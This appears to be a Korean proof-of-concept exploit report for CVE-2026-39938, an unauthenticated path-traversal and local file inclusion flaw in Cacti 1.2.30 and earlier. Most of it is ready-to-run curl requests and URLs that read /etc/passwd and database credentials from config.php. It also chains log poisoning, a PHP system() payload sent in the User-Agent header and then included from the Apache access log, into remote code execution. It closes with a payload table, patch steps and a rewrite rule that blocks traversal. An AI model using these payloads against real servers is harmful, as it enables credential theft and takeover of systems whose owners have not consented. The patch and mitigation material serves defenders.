
CVE-2026-39938에 대한 개념 증명 익스플로잇: Cacti <= 1.2.30에서의 인증되지 않은 로컬 파일 포함 취약점으로, 로그 포이즈닝을 통해 임의 파일 읽기 및 원격 코드 실행이 가능합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-39938 |
| CVSS 점수 | 9.8 (심각) |
| 영향받는 제품 | Cacti |
| 영향받는 버전 | <= 1.2.30 |
| 패치 버전 | 1.2.31 |
| 수정 커밋 | 9871f0c |
취약점은 lib/rrd.php에서 graph_theme 매개변수가 검증 없이 직접 사용되는 데 있습니다:
취약한 코드:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
패치된 코드:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
문제점: ../ 경로 탐색 시퀀스에 대한 검증이 없어, 공격자가 인증 없이 임의의 파일을 읽을 수 있습니다.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
결과: 응답에 /etc/passwd의 내용이 표시됩니다.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
결과: 데이터베이스 자격 증명(사용자 이름, 비밀번호)이 노출됩니다.
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
결과: 명령 출력(예: uid=33(www-data))이 표시됩니다.
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
헤더 포함: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
보안 연구 목적으로 생성된 보고서 날짜: 2026년 6월 27일
| 엔드포인트 | 매개변수 | 페이로드 예시 |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |